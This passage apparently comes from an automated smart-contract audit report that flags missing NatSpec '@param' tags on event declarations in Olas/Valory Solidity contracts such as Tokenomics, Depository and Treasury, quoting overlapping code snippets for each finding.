management part
21  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
22  /// @author Andrey Lebedev - <andrey.lebedev@valory.xyz>
23  /// @author Mariapia Moscatiello - <mariapia.moscatiello@valory.xyz>
24  contract FxERC20RootTunnel is FxBaseRootTunnel {
25:      event FxDepositERC20(address indexed childToken, address indexed
rootToken, address from, address indexed to, uint256 amount);

/// @audit Missing '@param rootToken'
/// @audit Missing '@param childToken'
/// @audit Missing '@param from'
/// @audit Missing '@param to'
/// @audit Missing '@param amount'
21  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
22  /// @author Andrey Lebedev - <andrey.lebedev@valory.xyz>
23  /// @author Mariapia Moscatiello - <mariapia.moscatiello@valory.xyz>
24  contract FxERC20RootTunnel is FxBaseRootTunnel {
25      event FxDepositERC20(address indexed childToken, address indexed
rootToken, address from, address indexed to, uint256 amount);
26:      event FxWithdrawERC20(address indexed rootToken, address indexed
childToken, address from, address indexed to, uint256 amount);

```

GitHub: [20](#), [20](#), [20](#), [20](#), [20](#), [21](#), [21](#), [21](#), [21](#), [21](#)

File: contracts/bridges/FxGovernorTunnel.sol

```

/// @audit Missing '@param sender'
/// @audit Missing '@param value'
42
43  /// @title FxGovernorTunnel - Smart contract for the governor child
tunnel bridge implementation
44  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
45  /// @author AL
46  contract FxGovernorTunnel is IFxMessageProcessor {
47:      event FundsReceived(address indexed sender, uint256 value);

/// @audit Missing '@param rootMessageSender'

```

```

43  /// @title FxGovernorTunnel - Smart contract for the governor child
    tunnel bridge implementation
44  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
45  /// @author AL
46  contract FxGovernorTunnel is IFxMessageProcessor {
47      event FundsReceived(address indexed sender, uint256 value);
48:      event RootGovernorUpdated(address indexed rootMessageSender);

    /// @audit Missing '@param stateId'
    /// @audit Missing '@param rootMessageSender'
    /// @audit Missing '@param data'
44  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
45  /// @author AL
46  contract FxGovernorTunnel is IFxMessageProcessor {
47      event FundsReceived(address indexed sender, uint256 value);
48      event RootGovernorUpdated(address indexed rootMessageSender);
49:      event MessageReceived(uint256 indexed stateId, address indexed
        rootMessageSender, bytes data);

```

GitHub: [42](#), [42](#), [43](#), [44](#), [44](#), [44](#)

File: contracts/bridges/HomeMediator.sol

```

    /// @audit Missing '@param sender'
    /// @audit Missing '@param value'
42
43  /// @title HomeMediator - Smart contract for the governor home
    (gnosis chain) bridge implementation
44  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
45  /// @author AL
46  contract HomeMediator {
47:      event FundsReceived(address indexed sender, uint256 value);

    /// @audit Missing '@param foreignMessageSender'
43  /// @title HomeMediator - Smart contract for the governor home
    (gnosis chain) bridge implementation
44  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
45  /// @author AL
46  contract HomeMediator {
47      event FundsReceived(address indexed sender, uint256 value);
48:      event ForeignGovernorUpdated(address indexed
        foreignMessageSender);

    /// @audit Missing '@param foreignMessageSender'

```

```

/// @audit Missing '@param data'
44  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
45  /// @author AL
46  contract HomeMediator {
47      event FundsReceived(address indexed sender, uint256 value);
48      event ForeignGovernorUpdated(address indexed
foreignMessageSender);
49:      event MessageReceived(address indexed foreignMessageSender,
bytes data);

```

GitHub: [42](#), [42](#), [43](#), [44](#), [44](#)

File: contracts/multisigs/GuardCM.sol

```

/// @audit Missing '@param governor'
84
85  /// @title GuardCM - Smart contract for Gnosis Safe community
multisig (CM) guard
86  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
87  /// @author Andrey Lebedev - <andrey.lebedev@valory.xyz>
88  contract GuardCM {
89:      event GovernorUpdated(address indexed governor);

/// @audit Missing '@param targets'
/// @audit Missing '@param selectors'
/// @audit Missing '@param chainIds'
/// @audit Missing '@param statuses'
85  /// @title GuardCM - Smart contract for Gnosis Safe community
multisig (CM) guard
86  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
87  /// @author Andrey Lebedev - <andrey.lebedev@valory.xyz>
88  contract GuardCM {
89      event GovernorUpdated(address indexed governor);
90:      event SetTargetSelectors(address[] indexed targets, bytes4[]
indexed selectors, uint256[] chainIds, bool[] statuses);

/// @audit Missing '@param bridgeMediatorL1s'
/// @audit Missing '@param bridgeMediatorL2s'
/// @audit Missing '@param chainIds'
86  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
87  /// @author Andrey Lebedev - <andrey.lebedev@valory.xyz>
88  contract GuardCM {
89      event GovernorUpdated(address indexed governor);

```

```

90     event SetTargetSelectors(address[] indexed targets, bytes4[]
indexed selectors, uint256[] chainIds, bool[] statuses);
91:     event SetBridgeMediators(address[] indexed bridgeMediatorL1s,
address[] indexed bridgeMediatorL2s, uint256[] chainIds);

/// @audit Missing '@param proposalId'
87    /// @author Andrey Lebedev - <andrey.lebedev@valory.xyz>
88    contract GuardCM {
89        event GovernorUpdated(address indexed governor);
90        event SetTargetSelectors(address[] indexed targets, bytes4[]
indexed selectors, uint256[] chainIds, bool[] statuses);
91        event SetBridgeMediators(address[] indexed bridgeMediatorL1s,
address[] indexed bridgeMediatorL2s, uint256[] chainIds);
92:        event GovernorCheckProposalIdChanged(uint256 indexed
proposalId);

/// @audit Missing '@param account'
88    contract GuardCM {
89        event GovernorUpdated(address indexed governor);
90        event SetTargetSelectors(address[] indexed targets, bytes4[]
indexed selectors, uint256[] chainIds, bool[] statuses);
91        event SetBridgeMediators(address[] indexed bridgeMediatorL1s,
address[] indexed bridgeMediatorL2s, uint256[] chainIds);
92        event GovernorCheckProposalIdChanged(uint256 indexed
proposalId);
93:        event GuardPaused(address indexed account);

```

GitHub: [84](#), [85](#), [85](#), [85](#), [85](#), [86](#), [86](#), [86](#), [87](#), [88](#)

File: contracts/veOLAS.sol

```

/// @audit Missing '@param account'
/// @audit Missing '@param amount'
/// @audit Missing '@param locktime'
/// @audit Missing '@param depositType'
/// @audit Missing '@param ts'
89        CREATE_LOCK_TYPE,
90        INCREASE_LOCK_AMOUNT,
91        INCREASE_UNLOCK_TIME
92    }
93
94:    event Deposit(address indexed account, uint256 amount, uint256
locktime, DepositType depositType, uint256 ts);

```

```

/// @audit Missing '@param account'
/// @audit Missing '@param amount'
/// @audit Missing '@param ts'
90         INCREASE_LOCK_AMOUNT,
91         INCREASE_UNLOCK_TIME
92     }
93
94     event Deposit(address indexed account, uint256 amount, uint256
locktime, DepositType depositType, uint256 ts);
95:     event Withdraw(address indexed account, uint256 amount, uint256
ts);

/// @audit Missing '@param previousSupply'
/// @audit Missing '@param currentSupply'
91         INCREASE_UNLOCK_TIME
92     }
93
94     event Deposit(address indexed account, uint256 amount, uint256
locktime, DepositType depositType, uint256 ts);
95     event Withdraw(address indexed account, uint256 amount, uint256
ts);
96:     event Supply(uint256 previousSupply, uint256 currentSupply);

```

GitHub: [89](#), [89](#), [89](#), [89](#), [89](#), [90](#), [90](#), [90](#), [91](#), [91](#)

File: contracts/GenericManager.sol

```

/// @audit Missing '@param owner'
4     import "./interfaces/IErrorsRegistries.sol";
5
6     /// @title Generic Manager - Smart contract for generic registry
manager template
7     /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
8     abstract contract GenericManager is IEErrorsRegistries {
9:         event OwnerUpdated(address indexed owner);

/// @audit Missing '@param owner'
5
6     /// @title Generic Manager - Smart contract for generic registry
manager template
7     /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
8     abstract contract GenericManager is IEErrorsRegistries {
9         event OwnerUpdated(address indexed owner);
10:        event Pause(address indexed owner);

```

```

/// @audit Missing '@param owner'
6   /// @title Generic Manager - Smart contract for generic registry
    manager template
7   /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
8   abstract contract GenericManager is IErrorsRegistries {
9       event OwnerUpdated(address indexed owner);
10      event Pause(address indexed owner);
11:     event Unpause(address indexed owner);

```

GitHub: [4](#), [5](#), [6](#)

File: contracts/GenericRegistry.sol

```

/// @audit Missing '@param owner'
5   import "../interfaces/IErrorsRegistries.sol";
6
7   /// @title Generic Registry - Smart contract for generic registry
    template
8   /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
9   abstract contract GenericRegistry is IErrorsRegistries, ERC721 {
10:       event OwnerUpdated(address indexed owner);

/// @audit Missing '@param manager'
6
7   /// @title Generic Registry - Smart contract for generic registry
    template
8   /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
9   abstract contract GenericRegistry is IErrorsRegistries, ERC721 {
10:       event OwnerUpdated(address indexed owner);
11:       event ManagerUpdated(address indexed manager);

/// @audit Missing '@param baseURI'
7   /// @title Generic Registry - Smart contract for generic registry
    template
8   /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
9   abstract contract GenericRegistry is IErrorsRegistries, ERC721 {
10:       event OwnerUpdated(address indexed owner);
11:       event ManagerUpdated(address indexed manager);
12:       event BaseURIChanged(string baseURI);

```

GitHub: [5](#), [6](#), [7](#)

File: contracts/UnitRegistry.sol

```
/// @audit Missing '@param unitId'
/// @audit Missing '@param uType'
/// @audit Missing '@param unitHash'
4   import "./GenericRegistry.sol";
5
6   /// @title Unit Registry - Smart contract for registering
generalized units / units
7   /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
8   abstract contract UnitRegistry is GenericRegistry {
9       event CreateUnit(uint256 unitId, UnitType uType, bytes32
unitHash);

/// @audit Missing '@param unitId'
/// @audit Missing '@param uType'
/// @audit Missing '@param unitHash'
5
6   /// @title Unit Registry - Smart contract for registering
generalized units / units
7   /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
8   abstract contract UnitRegistry is GenericRegistry {
9       event CreateUnit(uint256 unitId, UnitType uType, bytes32
unitHash);
10      event UpdateUnitHash(uint256 unitId, UnitType uType, bytes32
unitHash);
```

GitHub: [4](#), [4](#), [4](#), [5](#), [5](#), [5](#)

File: contracts/Depository.sol

```
/// @audit Missing '@param owner'
58
59   /// @title Bond Depository - Smart contract for OLAS Bond Depository
60   /// @author AL
61   /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
62   contract Depository is IErrorsTokenomics {
63       event OwnerUpdated(address indexed owner);

/// @audit Missing '@param tokenomics'
59   /// @title Bond Depository - Smart contract for OLAS Bond Depository
60   /// @author AL
61   /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
```



```

62     contract Depository is IErrorsTokenomics {
63         event OwnerUpdated(address indexed owner);
64:         event TokenomicsUpdated(address indexed tokenomics);

    /// @audit Missing '@param treasury'
60     /// @author AL
61     /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
62     contract Depository is IErrorsTokenomics {
63         event OwnerUpdated(address indexed owner);
64         event TokenomicsUpdated(address indexed tokenomics);
65:         event TreasuryUpdated(address indexed treasury);

    /// @audit Missing '@param bondCalculator'
61     /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
62     contract Depository is IErrorsTokenomics {
63         event OwnerUpdated(address indexed owner);
64         event TokenomicsUpdated(address indexed tokenomics);
65         event TreasuryUpdated(address indexed treasury);
66:         event BondCalculatorUpdated(address indexed bondCalculator);

    /// @audit Missing '@param token'
    /// @audit Missing '@param productId'
    /// @audit Missing '@param owner'
    /// @audit Missing '@param bondId'
62     contract Depository is IErrorsTokenomics {
63         event OwnerUpdated(address indexed owner);
64         event TokenomicsUpdated(address indexed tokenomics);
65         event TreasuryUpdated(address indexed treasury);
66         event BondCalculatorUpdated(address indexed bondCalculator);
67:         event CreateBond(address indexed token, uint256 indexed
productId, address indexed owner, uint256 bondId,

    /// @audit Missing '@param amountOLAS'
    /// @audit Missing '@param tokenAmount'
    /// @audit Missing '@param maturity'
63         event OwnerUpdated(address indexed owner);
64         event TokenomicsUpdated(address indexed tokenomics);
65         event TreasuryUpdated(address indexed treasury);
66         event BondCalculatorUpdated(address indexed bondCalculator);
67         event CreateBond(address indexed token, uint256 indexed
productId, address indexed owner, uint256 bondId,
68:             uint256 amountOLAS, uint256 tokenAmount, uint256 maturity);

    /// @audit Missing '@param productId'
    /// @audit Missing '@param owner'
    /// @audit Missing '@param bondId'

```

```

64     event TokenomicsUpdated(address indexed tokenomics);
65     event TreasuryUpdated(address indexed treasury);
66     event BondCalculatorUpdated(address indexed bondCalculator);
67     event CreateBond(address indexed token, uint256 indexed
productId, address indexed owner, uint256 bondId,
68         uint256 amountOLAS, uint256 tokenAmount, uint256 maturity);
69:     event RedeemBond(uint256 indexed productId, address indexed
owner, uint256 bondId);

    /// @audit Missing '@param token'
    /// @audit Missing '@param productId'
    /// @audit Missing '@param supply'
    /// @audit Missing '@param priceLP'
65     event TreasuryUpdated(address indexed treasury);
66     event BondCalculatorUpdated(address indexed bondCalculator);
67     event CreateBond(address indexed token, uint256 indexed
productId, address indexed owner, uint256 bondId,
68         uint256 amountOLAS, uint256 tokenAmount, uint256 maturity);
69     event RedeemBond(uint256 indexed productId, address indexed
owner, uint256 bondId);
70:     event CreateProduct(address indexed token, uint256 indexed
productId, uint256 supply, uint256 priceLP,
uint256 vesting);

    /// @audit Missing '@param vesting'
66     event BondCalculatorUpdated(address indexed bondCalculator);
67     event CreateBond(address indexed token, uint256 indexed
productId, address indexed owner, uint256 bondId,
68         uint256 amountOLAS, uint256 tokenAmount, uint256 maturity);
69     event RedeemBond(uint256 indexed productId, address indexed
owner, uint256 bondId);
70     event CreateProduct(address indexed token, uint256 indexed
productId, uint256 supply, uint256 priceLP,
71:         uint256 vesting);

    /// @audit Missing '@param token'
    /// @audit Missing '@param productId'
    /// @audit Missing '@param supply'
67     event CreateBond(address indexed token, uint256 indexed
productId, address indexed owner, uint256 bondId,
68         uint256 amountOLAS, uint256 tokenAmount, uint256 maturity);
69     event RedeemBond(uint256 indexed productId, address indexed
owner, uint256 bondId);
70     event CreateProduct(address indexed token, uint256 indexed
productId, uint256 supply, uint256 priceLP,
71         uint256 vesting);

```

```
72:     event CloseProduct(address indexed token, uint256 indexed  
productId, uint256 supply);
```

GitHub: [58](#), [59](#), [60](#), [61](#), [62](#), [62](#), [62](#), [62](#), [63](#), [63](#), [63](#), [64](#), [64](#), [64](#), [65](#), [65](#), [65](#), [65](#), [66](#), [67](#), [67](#)

File: contracts/Dispenser.sol

```
/// @audit Missing '@param owner'  
7  
8     /// @title Dispenser - Smart contract for distributing incentives  
9     /// @author AL  
10    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>  
11    contract Dispenser is IErrorsTokenomics {  
12:        event OwnerUpdated(address indexed owner);  
  
    /// @audit Missing '@param tokenomics'  
8     /// @title Dispenser - Smart contract for distributing incentives  
9     /// @author AL  
10    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>  
11    contract Dispenser is IErrorsTokenomics {  
12        event OwnerUpdated(address indexed owner);  
13:        event TokenomicsUpdated(address indexed tokenomics);  
  
    /// @audit Missing '@param treasury'  
9     /// @author AL  
10    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>  
11    contract Dispenser is IErrorsTokenomics {  
12        event OwnerUpdated(address indexed owner);  
13        event TokenomicsUpdated(address indexed tokenomics);  
14:        event TreasuryUpdated(address indexed treasury);  
  
    /// @audit Missing '@param owner'  
    /// @audit Missing '@param reward'  
    /// @audit Missing '@param topUp'  
10    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>  
11    contract Dispenser is IErrorsTokenomics {  
12        event OwnerUpdated(address indexed owner);  
13        event TokenomicsUpdated(address indexed tokenomics);  
14        event TreasuryUpdated(address indexed treasury);  
15:        event IncentivesClaimed(address indexed owner, uint256 reward,  
uint256 topUp);
```

GitHub: [7](#), [8](#), [9](#), [10](#), [10](#), [10](#)

File: contracts/DonatorBlacklist.sol

```
/// @audit Missing '@param owner'
16
17 /// @title DonatorBlacklist - Smart contract for donator address
blacklisting
18 /// @author AL
19 /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
20 contract DonatorBlacklist {
21:     event OwnerUpdated(address indexed owner);

/// @audit Missing '@param account'
/// @audit Missing '@param status'
17 /// @title DonatorBlacklist - Smart contract for donator address
blacklisting
18 /// @author AL
19 /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
20 contract DonatorBlacklist {
21     event OwnerUpdated(address indexed owner);
22:     event DonatorBlacklistStatus(address indexed account, bool
status);
```

GitHub: [16](#), [17](#), [17](#)

File: contracts/Tokenomics.sol

```
/// @audit Missing '@param owner'
114
115 /// @title Tokenomics - Smart contract for tokenomics logic with
incentives for unit owners and discount factor regulations for bonds.
116 /// @author AL
117 /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
118 contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {
119:     event OwnerUpdated(address indexed owner);

/// @audit Missing '@param treasury'
115 /// @title Tokenomics - Smart contract for tokenomics logic with
incentives for unit owners and discount factor regulations for bonds.
116 /// @author AL
117 /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
118 contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {
```

```

119     event OwnerUpdated(address indexed owner);
120:    event TreasuryUpdated(address indexed treasury);

    /// @audit Missing '@param depository'
116    /// @author AL
117    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
118    contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {
119        event OwnerUpdated(address indexed owner);
120        event TreasuryUpdated(address indexed treasury);
121:    event DepositoryUpdated(address indexed depository);

    /// @audit Missing '@param dispenser'
117    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
118    contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {
119        event OwnerUpdated(address indexed owner);
120        event TreasuryUpdated(address indexed treasury);
121        event DepositoryUpdated(address indexed depository);
122:    event DispenserUpdated(address indexed dispenser);

    /// @audit Missing '@param epochLen'
118    contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {
119        event OwnerUpdated(address indexed owner);
120        event TreasuryUpdated(address indexed treasury);
121        event DepositoryUpdated(address indexed depository);
122        event DispenserUpdated(address indexed dispenser);
123:    event EpochLengthUpdated(uint256 epochLen);

    /// @audit Missing '@param effectiveBond'
119        event OwnerUpdated(address indexed owner);
120        event TreasuryUpdated(address indexed treasury);
121        event DepositoryUpdated(address indexed depository);
122        event DispenserUpdated(address indexed dispenser);
123        event EpochLengthUpdated(uint256 epochLen);
124:    event EffectiveBondUpdated(uint256 effectiveBond);

    /// @audit Missing '@param idf'
120        event TreasuryUpdated(address indexed treasury);
121        event DepositoryUpdated(address indexed depository);
122        event DispenserUpdated(address indexed dispenser);
123        event EpochLengthUpdated(uint256 epochLen);
124        event EffectiveBondUpdated(uint256 effectiveBond);
125:    event IDFUpdated(uint256 idf);

    /// @audit Missing '@param epochNumber'
    /// @audit Missing '@param devsPerCapital'
    /// @audit Missing '@param codePerDev'

```

```

121     event DepositoryUpdated(address indexed depository);
122     event DispenserUpdated(address indexed dispenser);
123     event EpochLengthUpdated(uint256 epochLen);
124     event EffectiveBondUpdated(uint256 effectiveBond);
125     event IDfUpdated(uint256 idf);
126:     event TokenomicsParametersUpdateRequested(uint256 indexed
epochNumber, uint256 devsPerCapital, uint256 codePerDev,

/// @audit Missing '@param epsilonRate'
/// @audit Missing '@param epochLen'
/// @audit Missing '@param veOLASThreshold'
122     event DispenserUpdated(address indexed dispenser);
123     event EpochLengthUpdated(uint256 epochLen);
124     event EffectiveBondUpdated(uint256 effectiveBond);
125     event IDfUpdated(uint256 idf);
126     event TokenomicsParametersUpdateRequested(uint256 indexed
epochNumber, uint256 devsPerCapital, uint256 codePerDev,
127:         uint256 epsilonRate, uint256 epochLen, uint256
veOLASThreshold);

/// @audit Missing '@param epochNumber'
123     event EpochLengthUpdated(uint256 epochLen);
124     event EffectiveBondUpdated(uint256 effectiveBond);
125     event IDfUpdated(uint256 idf);
126     event TokenomicsParametersUpdateRequested(uint256 indexed
epochNumber, uint256 devsPerCapital, uint256 codePerDev,
127         uint256 epsilonRate, uint256 epochLen, uint256
veOLASThreshold);
128:     event TokenomicsParametersUpdated(uint256 indexed epochNumber);

/// @audit Missing '@param epochNumber'
/// @audit Missing '@param rewardComponentFraction'
124     event EffectiveBondUpdated(uint256 effectiveBond);
125     event IDfUpdated(uint256 idf);
126     event TokenomicsParametersUpdateRequested(uint256 indexed
epochNumber, uint256 devsPerCapital, uint256 codePerDev,
127         uint256 epsilonRate, uint256 epochLen, uint256
veOLASThreshold);
128     event TokenomicsParametersUpdated(uint256 indexed epochNumber);
129:     event IncentiveFractionsUpdateRequested(uint256 indexed
epochNumber, uint256 rewardComponentFraction,

/// @audit Missing '@param rewardAgentFraction'
/// @audit Missing '@param maxBondFraction'
/// @audit Missing '@param topUpComponentFraction'
/// @audit Missing '@param topUpAgentFraction'

```

```

125     event IDfUpdated(uint256 idf);
126     event TokenomicsParametersUpdateRequested(uint256 indexed
epochNumber, uint256 devsPerCapital, uint256 codePerDev,
127         uint256 epsilonRate, uint256 epochLen, uint256
veOLASThreshold);
128     event TokenomicsParametersUpdated(uint256 indexed epochNumber);
129     event IncentiveFractionsUpdateRequested(uint256 indexed
epochNumber, uint256 rewardComponentFraction,
130:         uint256 rewardAgentFraction, uint256 maxBondFraction,
uint256 topUpComponentFraction, uint256 topUpAgentFraction);

    /// @audit Missing '@param epochNumber'
126     event TokenomicsParametersUpdateRequested(uint256 indexed
epochNumber, uint256 devsPerCapital, uint256 codePerDev,
127         uint256 epsilonRate, uint256 epochLen, uint256
veOLASThreshold);
128     event TokenomicsParametersUpdated(uint256 indexed epochNumber);
129     event IncentiveFractionsUpdateRequested(uint256 indexed
epochNumber, uint256 rewardComponentFraction,
130         uint256 rewardAgentFraction, uint256 maxBondFraction,
uint256 topUpComponentFraction, uint256 topUpAgentFraction);
131:     event IncentiveFractionsUpdated(uint256 indexed epochNumber);

    /// @audit Missing '@param componentRegistry'
127         uint256 epsilonRate, uint256 epochLen, uint256
veOLASThreshold);
128     event TokenomicsParametersUpdated(uint256 indexed epochNumber);
129     event IncentiveFractionsUpdateRequested(uint256 indexed
epochNumber, uint256 rewardComponentFraction,
130         uint256 rewardAgentFraction, uint256 maxBondFraction,
uint256 topUpComponentFraction, uint256 topUpAgentFraction);
131     event IncentiveFractionsUpdated(uint256 indexed epochNumber);
132:     event ComponentRegistryUpdated(address indexed
componentRegistry);

    /// @audit Missing '@param agentRegistry'
128     event TokenomicsParametersUpdated(uint256 indexed epochNumber);
129     event IncentiveFractionsUpdateRequested(uint256 indexed
epochNumber, uint256 rewardComponentFraction,
130         uint256 rewardAgentFraction, uint256 maxBondFraction,
uint256 topUpComponentFraction, uint256 topUpAgentFraction);
131     event IncentiveFractionsUpdated(uint256 indexed epochNumber);
132     event ComponentRegistryUpdated(address indexed
componentRegistry);
133:     event AgentRegistryUpdated(address indexed agentRegistry);

```



```

/// @audit Missing '@param serviceRegistry'
129     event IncentiveFractionsUpdateRequested(uint256 indexed
epochNumber, uint256 rewardComponentFraction,
130         uint256 rewardAgentFraction, uint256 maxBondFraction,
uint256 topUpComponentFraction, uint256 topUpAgentFraction);
131     event IncentiveFractionsUpdated(uint256 indexed epochNumber);
132     event ComponentRegistryUpdated(address indexed
componentRegistry);
133     event AgentRegistryUpdated(address indexed agentRegistry);
134:    event ServiceRegistryUpdated(address indexed serviceRegistry);

/// @audit Missing '@param blacklist'
130         uint256 rewardAgentFraction, uint256 maxBondFraction,
uint256 topUpComponentFraction, uint256 topUpAgentFraction);
131     event IncentiveFractionsUpdated(uint256 indexed epochNumber);
132     event ComponentRegistryUpdated(address indexed
componentRegistry);
133     event AgentRegistryUpdated(address indexed agentRegistry);
134     event ServiceRegistryUpdated(address indexed serviceRegistry);
135:    event DonatorBlacklistUpdated(address indexed blacklist);

/// @audit Missing '@param epochCounter'
/// @audit Missing '@param treasuryRewards'
/// @audit Missing '@param accountRewards'
/// @audit Missing '@param accountTopUps'
131     event IncentiveFractionsUpdated(uint256 indexed epochNumber);
132     event ComponentRegistryUpdated(address indexed
componentRegistry);
133     event AgentRegistryUpdated(address indexed agentRegistry);
134     event ServiceRegistryUpdated(address indexed serviceRegistry);
135     event DonatorBlacklistUpdated(address indexed blacklist);
136:    event EpochSettled(uint256 indexed epochCounter, uint256
treasuryRewards, uint256 accountRewards, uint256 accountTopUps);

/// @audit Missing '@param implementation'
132     event ComponentRegistryUpdated(address indexed
componentRegistry);
133     event AgentRegistryUpdated(address indexed agentRegistry);
134     event ServiceRegistryUpdated(address indexed serviceRegistry);
135     event DonatorBlacklistUpdated(address indexed blacklist);
136     event EpochSettled(uint256 indexed epochCounter, uint256
treasuryRewards, uint256 accountRewards, uint256 accountTopUps);
137:    event TokenomicsImplementationUpdated(address indexed
implementation);

```


GitHub: [114](#), [115](#), [116](#), [117](#), [118](#), [119](#), [120](#), [121](#), [121](#), [121](#), [122](#), [122](#), [122](#), [123](#), [124](#), [124](#), [125](#), [125](#), [125](#), [126](#), [127](#), [128](#), [129](#), [130](#), [131](#), [131](#), [131](#), [131](#), [132](#)

File: contracts/Treasury.sol

```
/// @audit Missing '@param owner'
35  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
36  /// Invariant does not support a failing call() function while
    transferring ETH when using the CEI pattern:
37  /// revert TransferFailed(address(0), address(this), to,
    tokenAmount);
38  /// invariant {:msg "broken conservation law"} address(this).balance
    == ETHFromServices + ETHOwned;
39  contract Treasury is IErrorsTokenomics {
40:      event OwnerUpdated(address indexed owner);

    /// @audit Missing '@param tokenomics'
36  /// Invariant does not support a failing call() function while
    transferring ETH when using the CEI pattern:
37  /// revert TransferFailed(address(0), address(this), to,
    tokenAmount);
38  /// invariant {:msg "broken conservation law"} address(this).balance
    == ETHFromServices + ETHOwned;
39  contract Treasury is IErrorsTokenomics {
40      event OwnerUpdated(address indexed owner);
41:      event TokenomicsUpdated(address indexed tokenomics);

    /// @audit Missing '@param depository'
37  /// revert TransferFailed(address(0), address(this), to,
    tokenAmount);
38  /// invariant {:msg "broken conservation law"} address(this).balance
    == ETHFromServices + ETHOwned;
39  contract Treasury is IErrorsTokenomics {
40      event OwnerUpdated(address indexed owner);
41      event TokenomicsUpdated(address indexed tokenomics);
42:      event DepositoryUpdated(address indexed depository);

    /// @audit Missing '@param dispenser'
38  /// invariant {:msg "broken conservation law"} address(this).balance
    == ETHFromServices + ETHOwned;
39  contract Treasury is IErrorsTokenomics {
40      event OwnerUpdated(address indexed owner);
41      event TokenomicsUpdated(address indexed tokenomics);
42      event DepositoryUpdated(address indexed depository);
43:      event DispenserUpdated(address indexed dispenser);
```

```

/// @audit Missing '@param account'
/// @audit Missing '@param token'
/// @audit Missing '@param tokenAmount'
/// @audit Missing '@param olasAmount'
39   contract Treasury is IErrorsTokenomics {
40       event OwnerUpdated(address indexed owner);
41       event TokenomicsUpdated(address indexed tokenomics);
42       event DepositoryUpdated(address indexed depository);
43       event DispenserUpdated(address indexed dispenser);
44:       event DepositTokenFromAccount(address indexed account, address
indexed token, uint256 tokenAmount, uint256 olasAmount);

/// @audit Missing '@param sender'
/// @audit Missing '@param serviceIds'
/// @audit Missing '@param amounts'
/// @audit Missing '@param donation'
40       event OwnerUpdated(address indexed owner);
41       event TokenomicsUpdated(address indexed tokenomics);
42       event DepositoryUpdated(address indexed depository);
43       event DispenserUpdated(address indexed dispenser);
44       event DepositTokenFromAccount(address indexed account, address
indexed token, uint256 tokenAmount, uint256 olasAmount);
45:       event DonateToServicesETH(address indexed sender, uint256[]
serviceIds, uint256[] amounts, uint256 donation);

/// @audit Missing '@param token'
/// @audit Missing '@param to'
/// @audit Missing '@param tokenAmount'
41       event TokenomicsUpdated(address indexed tokenomics);
42       event DepositoryUpdated(address indexed depository);
43       event DispenserUpdated(address indexed dispenser);
44       event DepositTokenFromAccount(address indexed account, address
indexed token, uint256 tokenAmount, uint256 olasAmount);
45       event DonateToServicesETH(address indexed sender, uint256[]
serviceIds, uint256[] amounts, uint256 donation);
46:       event Withdraw(address indexed token, address indexed to,
uint256 tokenAmount);

/// @audit Missing '@param token'
42       event DepositoryUpdated(address indexed depository);
43       event DispenserUpdated(address indexed dispenser);
44       event DepositTokenFromAccount(address indexed account, address
indexed token, uint256 tokenAmount, uint256 olasAmount);
45       event DonateToServicesETH(address indexed sender, uint256[]
serviceIds, uint256[] amounts, uint256 donation);

```

```

46     event Withdraw(address indexed token, address indexed to,
uint256 tokenAmount);
47:     event EnableToken(address indexed token);

/// @audit Missing '@param token'
43     event DispenserUpdated(address indexed dispenser);
44     event DepositTokenFromAccount(address indexed account, address
indexed token, uint256 tokenAmount, uint256 olasAmount);
45     event DonateToServicesETH(address indexed sender, uint256[]
serviceIds, uint256[] amounts, uint256 donation);
46     event Withdraw(address indexed token, address indexed to,
uint256 tokenAmount);
47     event EnableToken(address indexed token);
48:     event DisableToken(address indexed token);

/// @audit Missing '@param sender'
/// @audit Missing '@param amount'
44     event DepositTokenFromAccount(address indexed account, address
indexed token, uint256 tokenAmount, uint256 olasAmount);
45     event DonateToServicesETH(address indexed sender, uint256[]
serviceIds, uint256[] amounts, uint256 donation);
46     event Withdraw(address indexed token, address indexed to,
uint256 tokenAmount);
47     event EnableToken(address indexed token);
48     event DisableToken(address indexed token);
49:     event ReceiveETH(address indexed sender, uint256 amount);

/// @audit Missing '@param ETHOwned'
/// @audit Missing '@param ETHFromServices'
45     event DonateToServicesETH(address indexed sender, uint256[]
serviceIds, uint256[] amounts, uint256 donation);
